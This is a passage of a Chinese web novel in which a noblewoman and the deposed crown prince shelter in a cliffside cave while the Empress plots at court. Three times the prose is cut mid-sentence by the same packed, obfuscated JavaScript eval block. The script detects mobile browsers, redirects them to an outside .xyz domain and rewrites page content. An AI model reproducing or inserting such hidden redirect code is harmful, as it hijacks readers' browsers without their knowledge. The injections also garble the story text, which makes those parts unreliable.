多半是魇着了,这情形她幼时经历过太多。 云双环顾四周,想寻些东西为小姐盖上,或弄些水来缓解她的痛苦。可这里光秃秃的,所有行李皆随着马车坠落,什么都没有。 沈思安不知何时不见了身影,云双一颗心也落入谷底,对他更是憎恶,不由得对江知雪哭哭啼啼道:“小姐,你为了救他都这样了,他现在居然不知跑去了哪里,丝毫不顾及你的安危。我看他八成是逃跑了,你的心意全作了驴肝肺。”她是真希望废太子就此掉落悬崖从而死掉。 这份憎恶随着太阳逐渐西偏而慢慢败下阵来。 日暮四合,万籁俱寂,偶有鸟兽自下方深林突兀嚎叫,或惊飞而起,哗啦啦地一片振翅声响。 云双坐在地上,让小姐靠在自己腿上,用袖子不停地为小姐擦拭着汗水。感官因天色黑沉而放大,尤其山崖,更显幽暗诡异,一点细小的声音都足以使云双心惊肉跳。 突然,一阵不规律的树叶“沙沙”声响起,有脚步声由远及近,带来了微弱的光。石壁上投下自己和小姐的影子,越变越大,一群藏于头顶的蝙蝠“吱吱”叫着,呼啦啦拍着膀子冲出洞穴。 冷汗顺着脸颊滑落,云双不敢有丝毫动作,此刻心里竟无比期望来的是废太子。 随着窸窸窣窣的动静,她们的影子往上跳去,烛火似被搁在地上。又是一通翻找后,脚步声再次响起,不疾不徐向她走来。那人蹲下身,将手中物品递到她面前。 云双打眼一看,竟是她们所带行囊中的水壶和布巾。她抬头,果真是沈思安,不知这些东西他从哪儿寻得,但终会是所有人都要得救了。她心里不禁松了口气,面色也缓和下来,有些生涩道:“多谢。” 沈思安没什么反应,将东西递给她就又走到洞口处,捡起地上他拾得的干柴,找了个背风的地方引燃,当做供暖的火堆。 夜里寒凉,云双又从行囊中取出衣物,为小姐盖上,自己也裹了一件,缩在角落睡去。 沈思安独坐洞口,望着漫天星斗,不知在想些什么。 那日夜里,明澜过来告诉他星涯坡之事,给了他两个计划。其一是拖延至他们赶到,他趁机晕倒,假死以脱身;其二是他跳下悬崖,崖底有明澜一早设好的织网,能保他无虞。他们再劫走江知雪二人,放其离开。 沈思安选择了第一个。 但事无定数,他未料到明澜此行没露面,未料到他们来得如此之慢,更未料到计划中一环的闺阁小姐将他推向第二个计划,并舍命救他。 这次失败,不知下次再送她们离开是何时。 …… 官差王大哥在白天黑衣人打斗时便醒了过来,一睁眼就见俩黑衣人在他身旁激烈舞着,吓得又闭上眼装死。愣是等到星披满天、月挂梢头,除虫鸟外再无声音,全身冻得僵硬时,才敢爬起身。 他看着满地弟兄们早就凉透的尸体,颓然跪在地上,哭着重重磕了三个响头,才慌不择路往回跑去。 25. 行路难(五) “不要……不要,你不要过来!对不起,我不是故意的,我没有……”半夜里,江知雪突然小声说着胡话。 沈思安坐在洞口处如一尊石头,任凭冷风吹打在身上。听到动静,才起身往里走去。 肌肤骤然回暖,逆着主人的心思兀自惬意着。 云双睡得深沉,对洞内情况丝毫不觉。 沈思安脚步轻缓,在江知雪身侧蹲下。 面前之人脸色苍白却又泛着潮红,额上又沁出汗水,一双眼珠在眼皮下左右转动着,时而说着慌张恐惧的呓语,时而不住地轻摇着头。 沈思安犹豫许久,小心又缓慢地伸出手,欲触碰她的脸颊,试探她的温度。 眼前一片红色,江知雪身处梦魇之中。 血液在脚边流淌,冰凉双手忽然变得温热。她举起双手,其上血迹斑驳,竟蜿蜒着从手腕往下滴去。 那黑衣人胸间洞口大开,一眼望去,肝脏内里清晰可见,正往外“噗呲噗呲”冒着血。他双眼圆睁,惊恐地看向她,不断吐血的嘴一张一合,似想说些什么,可喉咙被鲜血充斥,每一次张口都是大量鲜血溢出。 江知雪的手中不知何时出现了一把匕首,亦不知为何双手握紧,刀尖对准他。 黑衣人一步一步,酿跄向她走来。 “不……不要,你不要过来!”她听见自己的声音说。 黑衣人不为所动,狞笑着加快了速度。下一瞬,匕首穿透了他。他的表情凝固,狞笑转为震惊,鲜血浸透黑衣,刺红了江知雪的眼。 她颤抖着,害怕着,却无法动弹分毫,:“对不起,我不是故意的……我没有……” 她一遍遍、一遍遍地道歉,祈求对方原谅,就像原谅能让他死而复生。可最终,黑衣人还是在她一声声的逃避中轰然倒去,沉入粘稠腥腻的血泊中。 脚下血液突然上涨,眨眼之间,已攀上她的脖颈,而后一路往上,直至将她彻底淹没。 浓重的血腥气直往鼻孔里钻,巨大的窒息感令她思绪混乱。 她伸出手,慌乱地在虚空划动,想要浮上血水之面。 有什么冰凉的东西触碰着她的脸,那感觉不是这方世界的任何事物,更像是来自世界之外。 这是梦境! 几乎是意识到的瞬间,血水褪去,窒息感消失,梦境坍塌。 江知雪倏然睁开眼,汗水打湿她的头发和衣裳,宛如获救的溺水之人。 脸上的冰凉已经离去,长久的闭眼使她不能很快适应火光的亮度。一片模糊中,她恍然见眼前一人影似在盯着她看,面容混作一团,唯脸上纹路清晰可见,就像地府索命的恶鬼。 迟钝生涩的大脑这般想着,嘴里也惊叫着喊出声:“鬼……鬼啊!” 沈思安才放下的手微不可查地一僵,他眼睫低垂,不甚自然地偏过头,不敢再看她。 “鬼?什么鬼?哪里来的鬼!?”这一嗓子终于吵醒了熟睡的云双,她揉揉眼,面带迷茫地站起身,一惊一乍道。 鬼没见着,却见小姐醒过来了,正撑着身子一脸的害怕。 云双简直激动,她快速跑过去,一把揽过小姐,双眼就落下泪来:“小姐,你终于醒了,可担心死我了。” 江知雪似乎才从刚刚的惊吓中缓过来,也是双泪纵横,紧紧环抱住云双,声音发着抖:“云双,怎么办,我杀人了……我、我亲眼见他大睁着眼,倒在我面前,血溅了我满身满脸……我的手上都是血,还是热的……”她的话语序混乱,说着又将头埋进云双颈窝,低声抽泣着。 云双轻轻抚着小姐的背,温声哄慰着:“小姐,你知道吗?在我小的时候,那个逃荒年代,死人是件再平常不过的事。更有甚者为了多份口粮,为了一线微渺的活下去的希望,互相残杀,亲人也不例外。” 云双停顿了一下,眼神里充满着怜惜,那怜惜不是对小姐,而是过去的自己。 沈思安在此之前就不动声色退至洞口,一双眼却仍旧盯视着她们二人,因此将云双的神情尽收眼底。 “那黑衣人本就冲着我们来的,若小姐不杀他,你我二人或早已成了他刀下亡魂。”云双继续安抚:“杀手本就过着刀尖舔血的日子,即使这次无事,或许下一次、下下一次,也会死在他人剑下。” “可是……”江知雪还欲再辩,云双一把掰过她,与她对视,细细打量她一番,泪水将滴未滴,眼中尽是担忧:“小姐,可不能再想了,你现在的状态很不好,咱们好好休息,再睡一觉好吗?” 江知雪亦觉头脑混沌,更不想让云双为难,虽心里隐隐觉得她的一番话不大对劲,却还是听从了她的建议:“好吧,你也快快休息,今天辛苦你了。”她说的有些心不在焉,一颗心还是惴惴不安着。 云双闻此脸上带了笑,双眼却垂了下去。她细心帮小姐掖好被子,才再次回到角落躺着睡下。 云双入睡极快,不一会儿呼吸就绵长起来。 江知雪却难以入眠,脑中不断想着梦魇中的事,重复着白日的画面,又逐字逐句品着云双的话语,竟是越发痛苦,心口也隐隐传来阵痛。 她不禁观察起四周,想借此缓和自己的心境。并不太大的一个石洞,离洞口较近的一侧支着一个火堆,烛火晃动,已快要燃尽。她复又抬头看向前方,身侧不远处堆了行囊等物,借着微弱光芒,她认清了那竟是他们一早落下山的物件。 她不知自己身在何处山洞,却坚定知道寻到这些的必是沈思安。 说到沈思安,江知雪的眼神朝洞口看去。那人长身玉立,双手抱胸斜靠在石壁上,面向外面,不知在想些什么。 一阵冷风吹过,冰凉的触感拂过她的面颊。江知雪突然想到她刚醒来时,看到的那个脸有纹路的模糊人影,应当就是沈思安…… 她竟说他是鬼!江知雪一个激灵,不敢再看,正准备移开视线,沈思安似有所觉,侧头朝她看了过来。 二人又是一个对视,江知雪却吓得不敢再动,心中更是尴尬和愧疚。 沈思安见她欲言又止的样子,结合云双与她说的话,总觉得有必要再同她说些什么,思虑少倾,直直朝她走去。 江知雪本就不安的心又平添几分慌乱,她大睁着眼,看着他一步步走来,然后蹲下身伸出手。 脑中还未有反应,手便自觉从被褥中抽出,掌心朝上往前递去。 冰凉的触感在手中缠绵,与梦境中的感受别无二致,江知雪不经意红了耳朵。 沈思安在她手心写下:方便出来吗? 江知雪轻轻点了点头,随后小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443962|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掀开被褥,跟随他往洞口走去。 火堆突然灭了,眼前顿时一片漆黑,她短促又小声叫了一声,赶紧捂上嘴巴,担忧回望,怕惊扰了云双的睡眠。 四下伸手不见五指,自是什么也看不到,江知雪静默片刻,仔细听着,万幸云双的呼吸依旧绵长,她放下手,浅浅叹了一口气。 手腕处隔着衣料倏忽传来冰凉,一只手虚虚握住她的手腕,轻拉着她往前走。 江知雪的眼睛逐渐适应了黑暗,抬头看去,但见满天星斗,恍如画卷,低头又见她与沈思安放在一起的手,心比平时跳快了几分。 一定是星斗闪烁太让人沉沦。 沈思安拉着江知雪在洞外的平坦石块上坐下。眼前影影绰绰赫然是白天的织网,江知雪这才惊觉他们如今竟还在星涯坡。 沈思安不知从哪里摸过来一只水壶递给她,眼神示意她喝下,又在她手心写下:“你发烧了。” 明眼人一眼便能望出的不对劲,云双是跟了她十年的贴身侍女,又细细看过她的脸色,怎会察觉不出她的异常。 她对过去的自己那般怜惜,对情同姐妹的小姐视若不见,该说是无心之失还是有意为之? 沈思安心里如此琢磨,但终究是江知雪自己的事,他并不愿插手去管。 江知雪心中涌起一股暖流,她知晓自己不太对劲,连云双都未察觉出状况,她也不愿再添麻烦,有了隐瞒的心思。可他竟看出了,她简直大为感动。 不疑有他,她径直打开壶盖,浅尝了一口。 苦涩的味道在舌苔蔓延,顺着喉口一路向下,苦得她皱起了一张脸。 沈思安微侧着头,尽量掩去右半张脸,又在比比划划。他用手贴了贴自己额头,又指指药壶,最后拍了拍自己胸口。 这一番动作,堪称前言不搭后语,江知雪却少见地瞧明白了。他是说喝了这个药,烧热便会好了。 她不禁笑了起来,低低说了一声:“好。”又一口一口接着喝下。 江知雪其实很怕苦,小时候每每吃药,都要阿娘拿来蜜饯果子哄着才喝下。但今日的药,入嘴比之从前每次都更加苦,她却从里头喝出了甜。 有鸟鸣声四面八方响起,在漫天星穹下互相对唱着。 沈思安又伸出手,在她手心说着:你不必担忧。那些人皆是穷凶极恶之徒,放走他们无异于放虎归山,会有更多百姓死于他们之手。你今日所为,乃英雄壮举,佑众多性命,得此存活。 他这次竟说了这么长一段话,简直抵得上往日所有。山风烈烈,直把二人身体冻僵,他才堪堪停手。 江知雪大为所动:“这么说我是为民除害了?” 沈思安点头。 先前的不安情绪一扫而空,江知雪内心得到熨帖,却并不居功:“我当时所为只为自卫,并不敢想太多。鲜血流在我手,一个生命就此消逝,我害怕得要命。哪怕如今知晓他是十恶不赦之人,我亦对此感到胆寒,亦不愿再去杀人……” 许是山风吹得狠了,江知雪开始说着胡话:“沈思安,谢谢你,你的话使我安定下来,让我的双脚踏在实处。我真的挺骄傲于自己的选择的,未多信百般流言蜚语,坚定选择了你。将来要一起走的路还太长了,我希望到那时,你也可以选择我。” 26. 行路难(六) 琉璃作瓦,暖玉为石,椒泥砌壁。宫廷巍峨,璀璨生辉。 朝华宫内,椒花兰芷的馨香与檀香互相纠缠,沁满整座宫室。太监宫女各司其职,面容严肃,不敢有丝毫差错。 一身粗布麻衣、形容胆怯的小姑娘在一着锦绸、缀珠玉的宫女的带领下,穿过漆金长廊,行过琼玉台阶,静声跨进宫门。 宫女轻巧打起珍珠穿玉帘,端行绕过云母点翠百宝嵌花十二扇屏风,恭敬行礼轻声道:“娘娘,人到了。” 云雾缭绕中,皇后斜斜卧在紫玉珊瑚美人榻,一身云锦织金细绸拖曳至地,云髻峨峨,饰金钗步摇。她葱白玉手正慵懒捻起一颗青葡萄,漫不经心开口:“带进来吧。” 小姑娘约莫十岁,梳双髻,脸蛋灰扑扑的,全身上下无一装饰,双手因紧张而捏紧衣角下摆。她一板一眼跪下,磕头行礼,声音有些抖动:“奴婢参见皇后娘娘,皇后娘娘千岁千岁千千岁。” 皇后不着痕迹地扫了她一眼,嘴角勾起一抹笑,声音听不出情绪,“倒是个懂事的孩子。”又明知故问道:“是谁派你来的?” 小姑娘从始至终未敢动作,跪伏在地,小心回道:“回皇后娘娘,是一个穿黑衣的大哥,他给奴婢一锭银,让奴婢在福清门等候,届时自会有人带奴婢进去问话。”思虑再三,那人允诺的问话人会赏更多钱物的事她最终还是没说出来。 “他与你说了什么?” 小姑娘将事情从头到尾仔仔细细说了一遍,脑中也回忆着当时的情形:黑衣大哥似乎受了伤,简单几句话就呼吸粗重。他眼神像巷口屠夫的刀,犹带铁锈味的手从怀中摸出一锭银子,让她进去给他带话,就说目标已结果,但来了另外两伙人,损伤惨重,只他独活,之后事宜烦请姑姑移尊驾至沽水巷悦来客栈相商。 她常年在街巷游走,知那沽水巷是地处京城最西边的三教九流之地,又见惯了斗殴群架,自己也经历过不少,铁锈味实则血腥气。 她何等聪明,立马觉察出此事并不简单,本想直接拒绝。奈何那人说的赏赐太诱人,她思来想去,瞧他亦不过鸡鸣狗盗之辈,定是认不得什么大人物,便点头答应了。 可谁知竟被一路带到了朝华宫——皇后娘娘的住所! 皇后沉吟片刻,似是在确认她言辞的可信程度。而后随意挥了挥手,旁边的宫女搀起小姑娘,同她再行一礼便带着她离去。从始至终,小姑娘皆低着头,连皇后的面都未得见。 皇后举起手中葡萄,对着日光观赏着,似手中之物为珍奇美玉。她朱唇轻启,声音不咸不淡:“若长在宫中,怕是活得不错。” 一旁侍立的陪嫁姑姑眉头微锁,有些拿不准娘娘的意思,轻声细语问道:“娘娘,可需将她纳入宫中?” “多一个人多一份变数,她知道的太多了。”皇后声色未变,手中却轻而缓地捏碎了那颗青葡萄,汁水四溅,从指尖就要往袖中流去,她的脸上也浮现出耐人寻味的笑容。 姑姑连忙将浸了牡丹花露的丝巾拧成半干,细细为她擦去手中汁水,正色道:“奴婢这就去安排。” “那小丫头所说也需得调查一番,本宫总觉此事有些蹊跷。” “是。” 宫女带着小姑娘原路返回。红墙绿瓦间,二重门阶处,二人迎面撞见一锦衣华服、金冠玉面的男子。 一股酒气瞬间扑来,熏得小姑娘眉头轻蹙。她悄悄抬眼,快速打量了一眼。 嚯!好一个宝气珠光金光璀璨。十根手指几乎戴满了各式扳指戒指,一身行头华贵无比,比之皇后居所的富丽有过之而不及,衬得两旁宫墙都逊了颜色。 长发梳起配金冠,肌肤若雪,娇态顿生。她不懂什么词语形容,只偶尔听得茶楼飘出这些话,放在他身上再合适不过。 可惜他此刻双颊酡红,眼神迷离,走起路来一摇三晃,一副喝大了的模样。 宫女停下脚步,恭敬行礼:“见过二皇子。” 小姑娘心中一惊,也忙有样学样半蹲下身。这竟是二皇子?她简直难以置信。 二皇子身形摇晃,倾身向前,仔细辨认许久,才将眼前重影看清,他亦抬手行礼,嘴角噙笑:“原是姐姐。” 宫女也笑起来,端的是温婉柔静,朝他点了点头,再行一礼,便继续往前。 二皇子仍在躬身作揖。绕是小姑娘觉得自己在外见多识广,见到这一幕还是目瞪口呆,皇子对宫女行揖礼,怎么想怎么不对吧。 她隐晦往身后瞥去,只瞥见二皇子金丝绣线的衣角,脑中不自觉想到说书人曾说过的:一个金玉其外败絮其中的草包。 目送她们离去,二皇子也继续晃荡着往自己寝殿而去。 前一天在星涯坡冻了半夜的王大哥拖着僵硬的身子,草木皆兵地往回赶,可城门早已落锁。万般不得已下,他因害怕缩在城墙附近,在寒风中鼻涕一把泪一把地熬过了下半夜。 第二日天光未亮,王大哥便早早在城门处候着,露气深重,头发已被打湿贴在脸上,加之破烂脏污的衣服,宛如一个漂泊游荡的乞丐。 城门一开,他便快速跑进去,脚步急促。城门守卫打着哈欠,只觉一阵风从睡眼惺忪的眼前掠过。 王大哥不敢直接奔去刑部官衙,只好去刑部侍郎王士诚的私宅先等着。 管家斜着眼将他迎进门,领他进了花厅就兀自离去。王大哥讨好地笑送管家离开,见他身影从拐角处消失,狠狠地啐了一口。 王大哥在花厅转了又转,可谓心急如焚。直等到太阳从东边露出面,王士诚才姗姗下朝归来。 听管家提到王大哥,他便是此事或许不妙。 王士诚朝服都未更换,肃着脸直奔花厅。人未至跟前,话语已先说出:“发生何事了?” 王大哥连忙将人引进花厅坐下,哭丧着脸道:“大人,我们刚行至星涯坡,就有几伙黑衣人过来,其他兄弟都被杀了,只我逃了回来啊。” “那废太子他们呢?” “他们、他们被逼着跳崖了。”王大哥怕得都快哭出来。 王士诚一拍大腿,整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468420|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张脸堆满愁绪:“正年啊,你可知此事关系整个王家上下,我从那么多旁支里独独选了你进京,一路提拔,有心栽培你,正是看重了你的沉稳周全。可如今你……你让我说你什么好啊?”他用手指着王正年,唉声叹气。 王正年不过旁支又旁支的村里人,家中世世代代务农,也就他爹娘疼他,让他念了几年书,认了几个字。王士诚是王家正统嫡出,当了刑部侍郎后有意培养心腹,这才挑中了他。 这些年里,王士诚一直待他不错,他的官职也是升了又升,家里人更是举家搬至京城。 可眼下…… “大哥、大哥,你可一定要救救我呀!我也不知道为何会突然冒出来那么多黑衣人,更不知道他们竟会跳崖……”王正年泪水盈满眼眶,声音都发了抖,急于摆脱此事和他的关系。 “你是亲眼看见他们掉下悬崖的?可有生还可能?” “没有,那会儿我被人击晕了,再睁眼是好几波人打架的声音,接着便听他们说废太子三人跳崖了……”王正年哽咽道:“星涯坡数百丈高,摔下去只怕是粉身碎骨。” 王士诚听他这么说,脸色越发紧绷。他站起身开始在厅中踱步,冷汗渐渐渗出后背:“别急,容我想想办法。” 忽地,他停下步子,眼神坚定,似已下了决心:“对,我得先禀明皇后娘娘,此事非同小可,需得让娘娘知道再做定夺。”说着,他便要往门口走去。 王正年急了,一把拉住他,声泪俱下:“大哥,万万不可呀!若此事被皇后娘娘知道了,我还有活路吗?我……是我护送不力啊!” 王士诚用力欲掰开他的手,形容急切,怕晚了一步会横生变数:“皇后娘娘素来宅心仁厚,不会拿你怎么样的。若我不去禀报,别人将这件事捅到娘娘眼前,到那时我们才是真全完了。” “真的?”王正年嘴里询问着,手却已松了劲垂下来。他一向信任大哥,唯大哥命是从。 …… 福清门前,王士诚急急乘车赶来,正巧遇见皇后宫中的宫女领着一小姑娘从里头出来。他浅浅避了避,待小姑娘坐车离开,宫女往回走,他才连忙下车小声喊道:“娘子,请留步。” 皇后如今虽差不多只手遮天,但宫中人多眼杂。倘若今日他贸然求见,只怕明日人头落地。 宫女转头见是王侍郎,脸上挂上得体的笑,虚虚行了礼:“王大人,不知有何指教?” 王士诚没在意对方行礼的敷衍,亦或许他并未看出来,皇后宫里的人,即使行事再敷衍也透着股认真劲儿。 他左右看了看,示意她靠近,随后将王正年所说转述给她,并添油加醋,表示自己根本不知道王正年揽了这份活,若非今早出事了告诉他,至今还被蒙在鼓里。这不一得知立刻马不停蹄赶过来告知娘娘。 宫女神色微讶,但不过瞬间,她又调整好表情,正色道:“王大人还请在此稍作等候,待我禀明皇后娘娘,再告知与你。” 说罢,她与王士诚行礼告退,快步往朝华宫行去。 27. 行路难(七) “什么?”皇后怒不可遏,拍桌而起,震得金钗步摇左右晃动,红木桌上香炉向上飘去的烟雾抖了三抖。 她连情绪都备好,准备向圣上哭诉去了。 宫女立时跪下,低垂着头,不敢再说丝毫言语。 陪嫁姑姑赶紧在一旁为她轻轻打扇抚背,好让娘娘消消气。 约莫过了一刻钟,皇后脸上才又重新带上端庄慈怀的笑,施施然地坐下。姑姑连忙斟了一盏茶呈到她手上,她浅呷一口茶,瞧了眼地上跪着的宫女,和善道:“起来吧。” 宫女拜谢过皇后娘娘,小心地站起来,仍旧低着头。 “告诉王侍郎,既不知此事,本宫便不追究。但事关朝廷和圣上,万望三箴其口……至于怎么做,便由他定夺吧。” “是。”宫女再次行礼躬身退下。 姑姑几次张嘴,想说些什么,却欲言又止。 皇后搁下青玉茶盏,人也放松下来,脸上难掩疲倦:“你可是想问本宫为何放他一马并任他自己做主?” “真是什么都逃不过娘娘的眼睛。”姑姑搬来小杌,坐在美人榻前,动作轻柔地为皇后捏腿揉肩。 皇后舒服地眯起眼睛:“他被族人推举到这个位置,最是看重家族,眼下他还有些用处,这个时候发难,只怕会动摇咱们之间的关系。凭他处置也刚好看看王侍郎的心里究竟装了多少忠诚,至于他那个亲戚,派个人盯着,日后下手也不迟。” “倒是陈兴财,分明掉崖,竟敢同本宫说是结果了他,还想讨价还价。”她不怒反笑,声音却全无笑意:“既如此,那本宫便成全了他。三倍的酬金,再带几个暗卫,让他务必找到那个废物。兹事体大,沐芳,这件事就交给你了。”皇后拍了拍沐芳姑姑的手,以示重任。 陈兴财便是第一波唯一存活的黑衣人。 沐芳点头应下,道出心中疑惑:“星涯坡高数百丈,除非手眼通天,否则绝活不成。他既废了,怕是已葬身崖底,娘娘为何还要费精力在此事上?” “活要见人,死要见尸,半死不活就送他见阎罗。”皇后幽幽开口,盯着桌上袅袅升起的熏香,笑着的眼里闪过阴狠。 王士诚此时正在回府的路上。方才宫女带来皇后娘娘的口谕,言明让他定夺。 如何定夺?王士诚脑中第一个想到的便是皇后欲让他杀了王正年,冷汗瞬间浸透后背衣衫,他勉力稳定心神,低声应“是”,同宫女辞别。他不知道,在宫女话出口的时候他的脸色有多难看。 马车在街头摇晃,外头市井喧嚣,春风送爽,王士诚心头却燥热恐慌。 杀了王正年?他想到王正年这么多年对他鞍前马后,时常念叨着提携他的恩情,逢年过节举家送礼拜谢,又想到一个时辰前他还哭得泪人一个,到底是族中人,让他如何忍心? 可若不杀了他,就是在皇后心中扎了一根刺,往后只怕再难信任他。 王士诚在杀与不杀之间纠结一路,直到进了府门,也未抉择出如何是好。 管家此前奉王士诚之命好生招待王正年,虽不大待见这个出身乡野的莽夫,却也不敢违逆主家的意思。谁知此人竟好歹不分,偏要在门口候着,着实把他气死。 王士诚甫一下车,王正年便巴巴地迎上去,慌张询问:“大哥,怎么样了?” “先回府。”王士诚看着他焦急的神色,纠结许久的内心豁然开朗:他要把他送出去。 他们脚步疾行,不敢犹豫分毫,直接去了书房。期间王士诚甚至提点管家:“你就是这样照顾的?” 默默跟在身后的管家心想:就知道会是这样。 书房沉稳质朴,三面藏书,大多是律法刑典相关,无须熏香便闻得扑鼻墨香,一如王士诚其人,瞧着儒雅端正。 正前檀木方桌上犹放着摊开的书卷和写至一半的批注,管家沏来一壶好茶,各斟一杯,随后默默退下并关上了门。 “你今夜便走吧。”王士诚囫囵吞下茶水,叹息道。 王正年一听,只觉当头棒喝:“可是发生什么事了?” 王士诚不欲瞒他,眼下仅有他们二人,便将他去皇宫发生的事都说了出来。 “娘娘是想杀了我,以绝后患?”王正年整张脸都失了颜色。 “嘘!”王士诚轻轻打了一下他的胳膊,急忙打断他,“不可妄加揣测。你听我的,趁宫里还没派人过来,速速回家去,收拾些细软就带着一家人离开吧。” “夜里宵禁,闭城门,如何离开?” “北边城门处有一细缝,工部还未及修理,恰可供一人通行往来,巡逻军一个时辰换一次班,届时你趁着夜色,抓住他们换班间隙,从城门处走。” 王正年此时已是心乱如麻,顾头不顾尾,连连称好,就要离开。 王士诚一把拉住他,又切切嘱咐:“记住,你昨日什么都没看见,务必守口如瓶。” “是,是!大哥,您对我的好我一辈子都记在心里,等这件事过去了,我再来效忠您!”王正年眼泪纵横,哽咽地表着忠心。 “快快走吧。” 当天夜里,王正年就带着一家老小偷偷溜至北边城门附近,为图方便,一行人只带了几件衣物和路途上的水粮,将银钱缝在身上。 他们等候许久,总算等到巡逻军队两班交接。待军队走远,王正年首先跳出来,快速向城门口跑去,城门守卫此刻正打着盹儿。 一番摸索查看,终于在被细密藤蔓掩着的角落寻到了那处缝隙,他欣喜若望,回头便要打手势让一家子过来。 可他看到了什么?父母妻女皆被挟持,嘴被堵住,正无声流着泪。方才离去的巡逻军去而复返,手中火把高高燃起,似要烧破这方天空,也似要灼伤他那双目眦欲裂的眼睛。 怎么会这样?王正年脑中空白一片,下一刻,他听见自己的声音大喊道:“放了他们!” 他的一对儿女听到他的声音,也开始哭喊起来:“爹,爹!” 军队头领不耐地皱了皱眉,冷漠道:“深更半夜宵禁时刻擅闯城门,你可知是什么罪?” “把他们放了!” 头领见他一副油盐不进的样子,不住挑眉顺着他的话道:“放了他们?简单,你让王侍郎去和皇后娘娘求求情,娘娘仁慈,保不齐心一软,留你们一条活路。” 王正年这才如梦初醒,是王侍郎同皇后娘娘告了密,可这叫他如何相信:“大哥?怎么会,他明明说好会帮我离开……”他双手抱头,开始回想白日里他对自己说的话,眼泪落了下来。 是了,一个刑部侍郎,如何得知城北墙体有缝隙,且恰好供一人通过,又如何得知巡逻军的换班时间。“原来打从一开始,他就打定主意杀了我……可是又关我家人什么事?倘若你直接将想法告诉我,我也未必不会去死,凭什么连我父母妻儿都不放过!我敬你为大哥,你又拿我当什么?” 王正年几欲崩溃,捂着头蹲下身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486049|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭成泪人。 那头领果断挥手,干脆道:“带走吧。” 身后人拿来套头的麻袋,制住他们的挣扎,熟稔替他们套上,带离了城北。 …… 安国公府一早也收到了消息。彼时江奉山正在书房读书,凝神静气。一黑衣人从天而降,一掌拍开书房木门,哈哈大笑着告诉他,废太子一行已坠落星涯坡。 他知那星涯坡的厉害,连日来追杀秦轻水失败的阴霾一扫而空。 逃脱活着有什么用,她的女儿还不是死在了我的手里。 瞧黑衣人手上仍带着血,他心中越发畅快,大手一挥,多赏了一锭金。 第二日,依旧艳阳高照。天未亮时,沐芳姑姑便带了几个暗卫,驱车往城西而去。 皇后居勤政殿,替圣上分担着奏疏陈情。 外面悄声进来一个小太监,低身靠近皇后耳边,衣裳却未碰到她身上分毫。他以手作隔,声音尖细低小,仅皇后与他可闻:“王侍郎的亲戚昨夜已被送出城。” 言罢,又躬身退了出去。 皇后面上表情不变,手中也有条不紊地批阅着奏折,心中却嘲讽笑道:果然如此,王家可真是培养了个好后生,日后,可得好好看着你们的好后生是如何拖着你们下地府。 处于京城多方势力关注下的江知雪他们,此刻却是一副岁月静好之态。 远山青黛,鸟鸣啾啾。休息了两日,江知雪的身体已然大好,按她的说辞,现在可一拳碎石,生擒猛虎。 若非他们行囊中所带干粮即将耗尽,她还能在此再待上几日。 当昨夜她把这一想法说出来时,从不主动掺和的沈思安却坚定地摇了摇头,以指代笔在她手心写下:明日必须走。 他的指尖微凉,借由手心传进她的心里,江知雪莫名又想到昨日夜里,她说让沈思安可以选择她的胡话。 不知当时自己是喝了什么西北风,就算眼下沈思安再不堪,曾经也是文动京城、名满天下的太子,她该何德何能,能入他的青眼。 沈思安只写下那五个字,便再没了动作,她去追问为何,也未得到回应。心下不禁流露一丝自己都没曾察觉的怅然。 云双冷眼瞧着废太子那高高在上的态度,愈发不满。 古树上茂密的叶片在风声中“沙沙”响着,三人站在织网上,四处看着。 “那日分明去过,现在又装模作样找什么。”云双不满地抱怨嘟哝着。 江知雪站在前头,没有听清:“云双,你说什么?” “我说小姐,咱们比比谁先找到。” “好!”江知雪不疑有他,痛快答应。 更前方一点的沈思安却是将云双的话听得清清楚楚。这两日里,他总能感觉到她似乎在有意无意地针对他:拿走所有被褥、喝光水壶中所有水、不给他留当日规定的吃食……在江知雪面前,她却又变了样子,变得乖巧顺从,贴心温和。 还有那次,江知雪与他坠崖前,云双本应往回拉着江知雪的手,竟想拨开她拽着他的手,丝毫不顾及她的安危。 沈思安不是很懂情感,不知云双这般所谓何意,按照过往经历,或许是厌恶他,仅此而已。 枝丛掩映间,隐约可见被凿出的一个个石坑。 织网晃动,沈思安向石坑走去。几乎眨眼间,便跃上了那连成线的石坑中的两个。 江知雪察觉动静回头,就见沈思安对她伸出了手。 28. 行路难(八) 阳光照耀下,即使此处并不能照到太阳,江知雪却看见沈思安的身上分明镀了一层光。他就这样站在光中,向她伸出手,邀她踏上……踏上狭窄的石坑路? 江知雪本能地往后退了一步,脚下是深不见底的幽暗,踏错一步,就要粉身碎骨。她突然没了那日救他的骨气。 